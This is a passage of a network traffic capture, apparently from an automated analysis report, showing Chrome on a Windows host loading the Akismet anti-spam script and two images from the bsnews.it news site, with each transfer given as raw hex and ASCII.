2024-03-28 08:51:05 UTC	1369	IN	Data Raw: ab 95 a8 34 9a 32 3e 78 56 17 5f 17 ae 4b 9c 2b 97 fc 7e a2 c3 41 3c 19 38 ea 35 63 65 f9 07 f9 95 c1 cb 6d 3f 71 ef dd 50 62 98 0a f1 23 a8 ac 4b 35 87 c8 0d af f4 a5 5e 4f 1b 31 e6 5f da 5a 71 26 1a 07 48 b8 53 76 c7 1c e5 08 83 65 cb 15 78 5f e0 3e 3c 19 28 d7 ea 7f 38 73 fd 32 e3 bd 26 3c 1d e3 4c 4e 73 7f c7 7f 4c 99 ac 25 be 21 fb d1 17 8d 49 01 3e c7 38 91 ba 25 7f 1f bc 8e 99 01 fe 9e 2e 67 b4 bb a9 88 aa b2 e5 f1 36 4d cb 17 76 48 76 92 50 9d 53 3a c9 19 4a 50 2b 2c 03 d1 73 4f a1 98 13 db 42 a8 5d b4 ec a7 1e 3a cb 6e 99 a5 d7 69 35 24 38 dc a9 e3 c8 0f 7e fb 7f 51 bf 1d b3 16 23 e8 76 0d f0 53 c2 56 9b f8 57 73 db c6 e7 1a 75 1d 9c 0c f6 81 6d 11 aa 3b dc fd 4f 3a 8a 7d 5d ba 91 e0 a5 bf f6 24 d5 34 86 a5 1c 09 3e 6d 46 af 88 2f dd d4 56 79 28 Data Ascii: 42>xV_K+~A<85cem?qPb#K5^O1_Zq&HSvex_><(8s2&<LNsL%!I>8%.g6MvHvPS:JP+,sOB]:ni5$8~Q#vSVWsum;O:}]$4>mF/Vy(
2024-03-28 08:51:05 UTC	308	IN	Data Raw: 23 a3 01 38 e7 1a 6e 74 d7 b2 03 de 67 27 87 5f 84 44 50 38 78 a9 9b 03 a0 82 06 b9 15 c2 b5 c0 35 3a 97 33 8b 4e 54 52 23 31 66 7b 86 03 a8 aa 4f 07 ec 16 b8 d5 e3 35 ed 58 66 89 3c 2a ab 09 25 09 de 4a 81 2a e1 7c a9 f2 7c 5b a1 e5 c9 07 9d 0c 55 bf ae 76 c7 9b 91 a8 c6 d5 98 99 83 67 fe 38 04 d1 7c a2 12 e1 b2 13 3d da 28 fa c2 bc ff b1 17 a0 48 b5 d4 67 3e f4 46 c7 f1 6d 53 1d bc 8a f6 ec 6a 0c ac ea 68 04 9b f7 c1 00 ec c4 32 fa 14 3b f9 e4 1f 74 90 6f 07 c3 b7 f8 b3 0a c9 67 96 0d 65 49 72 35 de 45 54 23 86 74 fa 33 00 87 38 34 a7 b5 09 1b 14 1e 76 a0 26 00 00 00 1e 80 08 ec 00 aa 78 79 73 b3 d9 b5 bf db 1b 6d e6 60 ef c1 c5 1d db 5c a3 73 c7 2d 68 97 6a d6 98 91 d0 d9 e7 85 13 8e af b0 14 a1 42 2a 9d fc 09 f3 d2 60 0b 46 a6 47 72 a1 59 13 0c fc ae Data Ascii: #8ntg'_DP8x5:3NTR#1f{O5Xf<%J\|\|[Uvg8\|=(Hg>FmSjh2;togeIr5ET#t384v&xysm`\s-hjB*`FGrY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49825	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:05 UTC	739	OUT	GET /wp-content/plugins/akismet/_inc/akismet-frontend.js?ver=1710989504 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _ga=GA1.1.30849489.1711615863
2024-03-28 08:51:05 UTC	749	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:05 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cf-Bgj: minify Cf-Polished: origSize=11388 etag: W/"65fba0c0-2c7c" last-modified: Thu, 21 Mar 2024 02:51:44 GMT x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3341 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DZjTyg3mPzbMsOxQ2lm7sf%2FZH%2BbxGtutAql2agb%2F7sNv8ts5BxHAdDudiB3deQMrsk8QpU%2FBkwEKT5ileabihGUj90yYBOq%2BO19g2jK6Z9243F7B%2Fl9qk%2FPzAJ8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b6605898553ae7-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:05 UTC	620	IN	Data Raw: 31 38 61 64 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 73 75 70 70 6f 72 74 73 50 61 73 73 69 76 65 3d 66 61 6c 73 65 3b 74 72 79 7b 76 61 72 20 6f 70 74 73 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 7b 7d 2c 27 70 61 73 73 69 76 65 27 2c 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 73 75 70 70 6f 72 74 73 50 61 73 73 69 76 65 3d 74 72 75 65 3b 7d 7d 29 3b 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 74 65 73 74 50 61 73 73 69 76 65 27 2c 6e 75 6c 6c 2c 6f 70 74 73 29 3b 77 69 6e 64 6f 77 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 74 65 73 74 50 61 73 73 69 76 65 27 2c 6e 75 6c 6c 2c 6f 70 74 73 29 3b 7d 63 61 74 63 68 28 65 29 7b 7d 0a 66 75 6e 63 74 69 6f 6e 20 Data Ascii: 18ad(function(){var supportsPassive=false;try{var opts=Object.defineProperty({},'passive',{get:function(){supportsPassive=true;}});window.addEventListener('testPassive',null,opts);window.removeEventListener('testPassive',null,opts);}catch(e){}function
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: 74 3d 30 3b 76 61 72 20 6c 61 73 74 54 6f 75 63 68 45 6e 64 3d 6e 75 6c 6c 3b 76 61 72 20 6c 61 73 74 54 6f 75 63 68 53 74 61 72 74 3d 6e 75 6c 6c 3b 76 61 72 20 74 6f 75 63 68 45 76 65 6e 74 73 3d 5b 5d 3b 76 61 72 20 73 63 72 6f 6c 6c 43 6f 75 6e 74 54 69 6d 65 72 3d 6e 75 6c 6c 3b 76 61 72 20 73 63 72 6f 6c 6c 43 6f 75 6e 74 3d 30 3b 76 61 72 20 63 6f 72 72 65 63 74 69 6f 6e 4b 65 79 43 6f 64 65 73 3d 5b 27 42 61 63 6b 73 70 61 63 65 27 2c 27 44 65 6c 65 74 65 27 2c 27 41 72 72 6f 77 55 70 27 2c 27 41 72 72 6f 77 44 6f 77 6e 27 2c 27 41 72 72 6f 77 4c 65 66 74 27 2c 27 41 72 72 6f 77 52 69 67 68 74 27 2c 27 48 6f 6d 65 27 2c 27 45 6e 64 27 2c 27 50 61 67 65 55 70 27 2c 27 50 61 67 65 44 6f 77 6e 27 5d 3b 76 61 72 20 6d 6f 64 69 66 69 65 72 4b 65 79 43 Data Ascii: t=0;var lastTouchEnd=null;var lastTouchStart=null;var touchEvents=[];var scrollCountTimer=null;var scrollCount=0;var correctionKeyCodes=['Backspace','Delete','ArrowUp','ArrowDown','ArrowLeft','ArrowRight','Home','End','PageUp','PageDown'];var modifierKeyC
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: 6d 65 28 27 61 6b 69 73 6d 65 74 2d 66 69 65 6c 64 73 2d 63 6f 6e 74 61 69 6e 65 72 27 29 3b 66 6f 72 28 76 61 72 20 63 6f 6e 74 61 69 6e 65 72 49 6e 64 65 78 3d 30 3b 63 6f 6e 74 61 69 6e 65 72 49 6e 64 65 78 3c 70 6f 73 73 69 62 6c 65 5f 61 6b 69 73 6d 65 74 5f 63 6f 6e 74 61 69 6e 65 72 73 2e 6c 65 6e 67 74 68 3b 63 6f 6e 74 61 69 6e 65 72 49 6e 64 65 78 2b 2b 29 7b 76 61 72 20 63 6f 6e 74 61 69 6e 65 72 3d 70 6f 73 73 69 62 6c 65 5f 61 6b 69 73 6d 65 74 5f 63 6f 6e 74 61 69 6e 65 72 73 2e 69 74 65 6d 28 63 6f 6e 74 61 69 6e 65 72 49 6e 64 65 78 29 3b 69 66 28 63 6f 6e 74 61 69 6e 65 72 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 27 64 61 74 61 2d 70 72 65 66 69 78 27 29 29 7b 61 6b 69 73 6d 65 74 5f 66 69 65 6c 64 5f 70 72 65 66 69 78 3d 63 6f 6e 74 61 Data Ascii: me('akismet-fields-container');for(var containerIndex=0;containerIndex<possible_akismet_containers.length;containerIndex++){var container=possible_akismet_containers.item(containerIndex);if(container.getAttribute('data-prefix')){akismet_field_prefix=conta
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: 75 73 68 28 6b 65 79 75 70 54 69 6d 65 2d 6b 65 79 64 6f 77 6e 54 69 6d 65 29 3b 69 66 28 6b 65 79 64 6f 77 6e 73 5b 65 2e 6b 65 79 5d 2e 6c 65 6e 67 74 68 3e 31 29 7b 6b 65 79 70 72 65 73 73 2e 70 75 73 68 28 6b 65 79 64 6f 77 6e 73 5b 65 2e 6b 65 79 5d 5b 31 5d 29 3b 7d 0a 6b 65 79 70 72 65 73 73 65 73 2e 70 75 73 68 28 6b 65 79 70 72 65 73 73 29 3b 7d 7d 0a 64 65 6c 65 74 65 20 6b 65 79 64 6f 77 6e 73 5b 65 2e 6b 65 79 5d 3b 6c 61 73 74 4b 65 79 75 70 3d 6b 65 79 75 70 54 69 6d 65 3b 7d 2c 73 75 70 70 6f 72 74 73 50 61 73 73 69 76 65 3f 7b 70 61 73 73 69 76 65 3a 74 72 75 65 7d 3a 66 61 6c 73 65 29 3b 66 6f 72 6d 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 66 6f 63 75 73 69 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 61 73 74 4b 65 79 Data Ascii: ush(keyupTime-keydownTime);if(keydowns[e.key].length>1){keypress.push(keydowns[e.key][1]);}keypresses.push(keypress);}}delete keydowns[e.key];lastKeyup=keyupTime;},supportsPassive?{passive:true}:false);form.addEventListener("focusin",function(e){lastKey
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: 6e 74 2e 6f 66 66 73 65 74 58 2d 6c 61 73 74 4d 6f 75 73 65 6d 6f 76 65 58 2c 32 29 2b 0a 4d 61 74 68 2e 70 6f 77 28 74 68 65 45 76 65 6e 74 2e 6f 66 66 73 65 74 59 2d 6c 61 73 74 4d 6f 75 73 65 6d 6f 76 65 59 2c 32 29 29 29 29 3b 69 66 28 6d 6f 75 73 65 6d 6f 76 65 5b 31 5d 3e 30 29 7b 6d 6f 75 73 65 6d 6f 76 65 73 2e 70 75 73 68 28 6d 6f 75 73 65 6d 6f 76 65 29 3b 7d 0a 6d 6f 75 73 65 6d 6f 76 65 53 74 61 72 74 3d 6e 75 6c 6c 3b 6d 6f 75 73 65 6d 6f 76 65 54 69 6d 65 72 3d 6e 75 6c 6c 3b 7d 2c 35 30 30 2c 65 2c 6d 6f 75 73 65 6d 6f 76 65 53 74 61 72 74 29 3b 7d 2c 73 75 70 70 6f 72 74 73 50 61 73 73 69 76 65 3f 7b 70 61 73 73 69 76 65 3a 74 72 75 65 7d 3a 66 61 6c 73 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 Data Ascii: nt.offsetX-lastMousemoveX,2)+Math.pow(theEvent.offsetY-lastMousemoveY,2))));if(mousemove[1]>0){mousemoves.push(mousemove);}mousemoveStart=null;mousemoveTimer=null;},500,e,mousemoveStart);},supportsPassive?{passive:true}:false);document.addEventListener(
2024-03-28 08:51:05 UTC	229	IN	Data Raw: 74 69 6e 67 5f 70 6f 69 6e 74 2b 69 5d 5b 30 5d 3b 69 66 28 61 5b 72 61 6e 64 6f 6d 5f 73 74 61 72 74 69 6e 67 5f 70 6f 69 6e 74 2b 69 5d 2e 6c 65 6e 67 74 68 3e 3d 32 29 7b 72 76 2b 3d 22 2c 22 2b 61 5b 72 61 6e 64 6f 6d 5f 73 74 61 72 74 69 6e 67 5f 70 6f 69 6e 74 2b 69 5d 5b 31 5d 3b 7d 0a 72 76 2b 3d 22 3b 22 3b 7d 7d 0a 72 65 74 75 72 6e 20 72 76 3b 7d 0a 69 66 28 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 21 3d 3d 27 6c 6f 61 64 69 6e 67 27 29 7b 69 6e 69 74 28 29 3b 7d 65 6c 73 65 7b 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 69 6e 69 74 29 3b 7d 7d 29 28 29 3b 0d 0a Data Ascii: ting_point+i][0];if(a[random_starting_point+i].length>=2){rv+=","+a[random_starting_point+i][1];}rv+=";";}}return rv;}if(document.readyState!=='loading'){init();}else{document.addEventListener('DOMContentLoaded',init);}})();
2024-03-28 08:51:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49826	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:05 UTC	643	OUT	GET /bsnews.it/wp-content/uploads/2024/03/girl-2771936_1280.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:05 UTC	575	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:05 GMT Content-Type: image/webp Content-Length: 8398 Connection: close Last-Modified: Wed, 27 Mar 2024 13:11:50 GMT Expires: Sat, 28 Mar 2026 01:11:50 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/girl-2771936_1280.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "e002c1baa67dc44f" Vary: Accept X-nc: HIT dca 2 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:05 UTC	794	IN	Data Raw: 52 49 46 46 c6 20 00 00 57 45 42 50 56 50 38 20 ba 20 00 00 30 95 00 9d 01 2a 44 01 a0 00 3e 6d 2e 93 47 24 22 21 a1 29 d3 cc b0 80 0d 89 63 00 c4 94 43 2a e7 ae e9 1f e4 1f 34 c3 bd e1 83 cf e6 09 fa df d4 3f cd 3f 9c 57 9c 7f a4 cf 54 87 a1 2f 97 67 b3 ef 94 96 0e 0e 9a f8 7b e9 00 48 ed 47 b3 47 6d 7f 3b b5 0e 7d 7b ac 13 aa fb f5 92 6a 04 79 46 ff bd e5 47 f6 ef f8 be c1 de 5d 9e ce bf 7a 7d a2 1c 3b ce 96 c0 77 e8 10 2c c3 0f f8 dc d5 18 5d f9 52 b0 7d 00 7e c0 b2 27 9b a6 1f a4 b2 32 06 db ba f7 ff fc 9c fe e9 ca eb 63 fe d7 02 f7 c6 16 27 d0 80 0d aa f2 db 6b d1 a0 a6 44 a9 58 b1 4e e3 a7 4e e0 c4 63 9b 9f 58 34 fd 19 39 65 86 d3 50 54 00 91 cc bb 9d 8f 3d 13 cd e5 02 91 7b 3d 17 6d 7b c6 aa 6b 79 95 e7 00 73 a3 85 52 c2 9e cc 05 5f 81 fb 94 6f 30 Data Ascii: RIFF WEBPVP8 0D>m.G$"!)cC4??WT/g{HGGm;}{jyFG]z};w,]R}~'2c'kDXNNcX49ePT={=m{kysR_o0
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: 3a b1 b6 fb 8a d9 fe 9c 31 c4 cf c1 7a 4a 0a de d8 4f 3a e2 d9 80 1a cf 7f aa e3 da 48 1a be 91 c6 c4 59 fe 4e 56 f5 a4 65 9e 61 0e 86 68 8e 73 dc 50 fb 5e 74 67 35 e7 8f 3a e3 44 e7 4d 88 00 fd a6 75 54 77 3a 82 ed 89 fb e5 ba c8 70 1d 95 70 db ec 8a f8 6a 95 59 c7 c9 be eb 3c 71 9b 0a 84 eb 54 17 f0 e7 6b 5c a6 e8 e4 c9 9a c1 db 9f 1a 94 f7 18 dd cb cc 51 43 17 37 fc d9 bf e8 5f 39 fe 96 e4 99 9e 6d 74 53 92 20 4e b9 55 d7 67 3c cb d0 32 12 a3 5d 63 6f c9 84 1a b8 0e bd 16 ee da 89 3e 4f a8 49 ca 3c fd ba cd 99 40 0f 16 07 ca 52 51 1f ec e2 f3 4c ee 4c 6e d6 83 16 3b 48 bd 21 53 10 19 37 c8 99 3b 85 8a e4 e6 30 ad fd 26 25 b4 bb f1 dc f1 7b d0 4d b1 1f f9 ad fd 5e 0b 79 6e e1 39 86 42 6d 9d 90 d6 38 7f 81 a8 94 03 55 3e 12 7e a8 78 86 00 41 5b 7c 99 24 Data Ascii: :1zJO:HYNVeahsP^tg5:DMuTw:ppjY<qTk\QC7_9mtS NUg<2]co>OI<@RQLLn;H!S7;0&%{M^yn9Bm8U>~xA[\|$
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: 8b 8f cc 3f d3 21 87 aa 08 c3 fb ec a0 6f 11 4c 97 f9 10 1b 13 17 d7 3a 3c c3 e2 87 3e ce fd 50 6b eb 06 3b 3a 12 9e eb 90 e2 f6 79 ae a3 bf 06 90 a5 78 6c d6 09 ca 40 78 e9 ab 13 23 a9 aa 0a 37 fb d2 53 b5 38 a0 20 b8 fa 7f df 64 14 71 7a d5 09 ea b6 85 e5 8c ac a6 ba c4 08 b6 f0 56 f7 b8 5d fb f5 db 8e ab e1 b6 ce 5f 2b 67 e1 9c e9 e1 03 e6 44 ea 5e 38 8a 33 0d d5 f2 5f 5c bb 80 26 81 9b f2 1a de f2 74 95 07 68 04 da c6 f6 ed 75 bc 21 b2 8e fd 62 68 ad 5e f8 a7 c3 1c 9c 7d 20 35 06 3e 73 96 7b e3 d7 41 c1 b7 ad f8 c2 6e e3 02 de a2 52 5b 59 26 64 18 17 f9 04 1d fe e3 b0 b0 a6 a4 7a 4e be 73 ff 48 31 e2 ba 06 34 89 d1 4e ed 9f aa 9e 8e 73 55 91 57 da 83 36 dc cf ec cb 5a 32 7d e3 3d 3f 12 b8 a2 5b 70 72 98 a0 d1 a7 78 5a dd 4f a6 52 fb 0a 9a 7f 5e 21 9e Data Ascii: ?!oL:<>Pk;:yxl@x#7S8 dqzV]_+gD^83_\&thu!bh^} 5>s{AnR[Y&dzNsH14NsUW6Z2}=?[prxZOR^!
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: ff c8 30 15 77 93 1f bd 0f 7f e1 16 98 96 4a d9 8d a4 79 51 93 65 9f fd 8d b1 79 00 bc 2c a2 42 9f b8 67 df 32 0a 1c f0 ab 12 54 78 2e 88 cf f3 8e 5e 0b b2 76 41 d0 40 c4 85 33 d6 bb 15 a0 63 84 bd 2c 48 c3 ad 95 41 c4 2f d0 e7 e7 8e cf c1 54 26 53 90 77 dc 7f 64 ce fe cd 2a 55 ce 24 80 45 89 e5 95 d3 d6 8b ff 80 b7 ae df 1d d1 85 30 90 47 59 57 ad 72 e9 f8 e2 fb 55 39 5c 48 48 9f 83 f2 f0 2b bd 6e de 40 27 18 c6 a4 9c b9 a2 a6 57 74 9b d3 a5 1d 82 a1 77 c6 98 94 2c 7b 86 4d 81 9f e1 57 d1 2f db b3 22 76 c7 30 e0 df 0b 33 f5 15 31 df 39 26 17 bb 49 34 8c 8c 2a d6 d2 9a 0e c2 9f b7 29 a7 6e b7 7e 76 c0 72 e5 33 5b 86 c1 f7 21 57 03 20 6d 5c c2 3b 2e bf 72 6c 44 ef eb 19 f5 80 81 73 0d 8b be a6 d8 13 ad 92 66 54 fa b4 4a 4e 31 0e 90 1b f6 01 d3 c4 d0 6e 05 Data Ascii: 0wJyQey,Bg2Tx.^vA@3c,HA/T&SwdU$E0GYWrU9\HH+n@'Wtw,{MW/"v0319&I4)n~vr3[!W m\;.rlDsfTJN1n
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: 37 08 18 e9 15 0e 0c f5 6a 7b b6 65 38 ca e8 10 ab a3 c5 80 78 d8 e8 15 21 75 25 aa b5 c0 b8 e9 f3 0c ee 48 a1 93 a8 c0 e2 4c 71 af d2 f5 86 67 ce 5f d0 28 c1 ea 39 ca 24 e7 7e 1e ca 3a 4a 16 5a d8 9d 3a 38 f7 7c fb 45 0b 8b 6d 1f 8f f6 9f 9c f4 4f a7 a0 79 48 c7 7e 36 22 6d c4 80 5b 73 3f f4 77 e0 c9 20 ed 79 8a 52 46 e0 96 d7 ce ff e0 94 d4 a6 f8 38 62 f4 35 d4 26 8d 94 47 df 90 6b 97 6f 42 ee eb 51 4f d2 f8 bc 97 54 50 2c 89 72 bb 2a f7 8c d0 97 c8 79 e3 e3 a9 74 aa 60 95 fb e1 8c a2 39 7b cf 0a 93 f5 71 ff 76 ff a5 58 b5 fa a9 fa 34 9c 3a 7b b2 2e 2d be 3f cf b1 97 f3 92 5e 67 72 35 85 49 72 c1 5c d1 c9 8b 59 ec 0a ef 9a 2b 66 cc 1f 11 46 04 b5 54 7e 1f 73 75 b9 4f 99 25 03 d6 e1 f5 6f c8 e4 13 d9 08 77 dd 76 a6 90 9b 52 d6 f4 08 db b8 52 cb 61 16 09 Data Ascii: 7j{e8x!u%HLqg_(9$~:JZ:8\|EmOyH~6"m[s?w yRF8b5&GkoBQOTP,r*yt`9{qvX4:{.-?^gr5Ir\Y+fFT~suO%owvRRa
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: 9d a5 0f ee 4d 36 c3 35 85 53 03 c4 5c d3 1f 7f 17 67 c5 7b 04 6b 15 99 b6 2d 5b fa 3e f7 81 09 f1 c5 fa 2a 23 7e f7 f7 da d8 a4 2a 90 11 1a 84 2e 8c 6f d8 0f 75 0d 55 3f 3c 7d f2 0e c4 bb 03 09 dc ab a3 1a 6d b8 c5 2f 8e aa 88 70 4d 2d e2 3d ca 4d de 74 84 8f 7c 32 14 39 6e 5d e8 0b 57 35 21 1d fa 20 f5 af 7f cb 69 c9 9a 10 4a 73 06 ab 3b 31 d0 b8 d4 c6 ba 5f 59 f7 ce 90 be c7 c8 79 48 b4 8e a6 79 ba aa e5 47 af 25 7d 08 97 f1 bd ac f3 71 4e 09 ac 4c 30 b1 98 40 aa 2c 07 8c 74 b7 65 7a 58 30 a0 a2 58 61 32 e2 47 33 1b 04 79 a0 9c 99 e3 e7 34 ae a5 c1 fc b4 9f 37 fd 4d 6a 5e fd f0 85 88 24 66 a6 5c cc 19 0e ca bc e3 37 9a f5 85 82 47 59 48 27 42 51 32 18 21 bc 31 6a 7b 9b f2 a9 43 80 1d 35 b1 5a 95 91 58 48 f3 2f d4 ac 93 8b 25 db 61 d5 d0 f6 3b d7 28 db Data Ascii: M65S\g{k-[>#~.ouU?<}m/pM-=Mt\|29n]W5! iJs;1_YyHyG%}qNL0@,tezX0Xa2G3y47Mj^$f\7GYH'BQ2!1j{C5ZXH/%a;(
2024-03-28 08:51:05 UTC	759	IN	Data Raw: d6 21 6a 31 16 01 4f e1 76 d8 1a 05 55 61 24 08 90 43 9f e6 8e 12 d6 75 e4 ea 53 d1 1e 40 b4 0c 5f 01 5a 71 da d0 39 eb 34 42 e8 8c 82 11 db e7 10 e4 c4 56 f5 fa 54 58 92 95 2b 92 2c 66 9f 54 cf e3 65 8e a7 a7 fa 56 76 d0 58 9f 0e dd 00 7b 6c 20 a9 31 55 04 28 eb 59 d4 95 81 58 5e 38 85 a0 33 57 9f f4 b0 8e f9 25 d0 a3 8b 66 66 01 cc b6 c3 b3 bd 38 84 62 2b 13 7f f3 6f ed 86 6f 24 87 3e 19 79 61 d7 6a c4 5a a7 ac ba f5 94 40 2c 92 79 9d ce 7d a9 09 b9 ec 94 96 56 8f 3d ec b9 65 4f 33 e0 09 11 e4 d0 04 bd db 20 51 b0 0f 18 78 42 0a ac a0 6b aa 2d 6a 02 40 94 2e 06 f0 c5 eb 04 8e 70 e8 1f e5 ee c4 77 f2 2a 65 57 8a a0 af b9 99 3c 82 56 0d 93 86 fc 77 2f 8f bd 76 fe 6b 9d 5e 00 96 6c 7a 94 12 93 33 e2 6e 18 87 c8 a0 ef f0 9b 00 80 47 72 e1 e1 21 f9 12 fe 3e Data Ascii: !j1OvUa$CuS@_Zq94BVTX+,fTeVvX{l 1U(YX^83W%ff8b+oo$>yajZ@,y}V=eO3 QxBk-j@.pw*eW<Vw/vk^lz3nGr!>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49828	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:05 UTC	637	OUT	GET /bsnews.it/wp-content/uploads/2024/03/bsnews-11-3.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:05 UTC	569	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:05 GMT Content-Type: image/webp Content-Length: 8950 Connection: close Last-Modified: Wed, 27 Mar 2024 13:11:50 GMT Expires: Sat, 28 Mar 2026 01:11:50 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/bsnews-11-3.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "87caf57730ee8479" Vary: Accept X-nc: HIT dca 8 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:05 UTC	800	IN	Data Raw: 52 49 46 46 ee 22 00 00 57 45 42 50 56 50 38 20 e2 22 00 00 90 8e 00 9d 01 2a 44 01 a0 00 3e 6d 2e 92 46 a4 22 a1 a1 aa b7 cd 20 80 0d 89 65 06 f8 85 04 05 a3 e7 91 7e ae 5a ee 4a f5 29 fd cd 4f 77 fb 4f 08 7c f9 fd 52 53 de 12 6a 29 e0 9e 78 7b 47 f9 e9 a8 5b d2 f9 93 e8 1d 80 1f e3 f9 b5 f6 db d8 07 cb be fe 6a 00 fe 98 f5 80 ff 8b c9 b7 ed 7e a1 dd 34 7d 18 c7 5f 41 dd 52 06 04 27 07 4b e4 18 5b dd 80 2a dd 14 b3 1f e8 16 3a a3 cc 98 a2 b3 af e3 77 68 3e 5c 2a 32 2f 17 b5 7f bc e7 5c 9d 7e 1c 1b 97 09 84 b7 c7 36 ec 1c 57 74 1c 24 fc 26 04 d2 e3 00 b4 92 c2 64 61 99 67 e2 53 fd dd f3 5d 2a cb e9 63 e2 43 a7 96 3d c4 da e4 a6 bc 0e fe f6 99 37 19 c5 b2 24 27 0c 62 d9 6f c2 be af 68 58 f7 69 75 b4 ea 4b a8 0f fe 2f f4 b7 e6 ab 3e e4 36 3a 60 34 e5 0f d7 Data Ascii: RIFF"WEBPVP8 "D>m.F" e~ZJ)OwO\|RSj)x{G[j~4}_AR'K[:wh>\2/\~6Wt$&dagS]cC=7$'bohXiuK/>6:`4
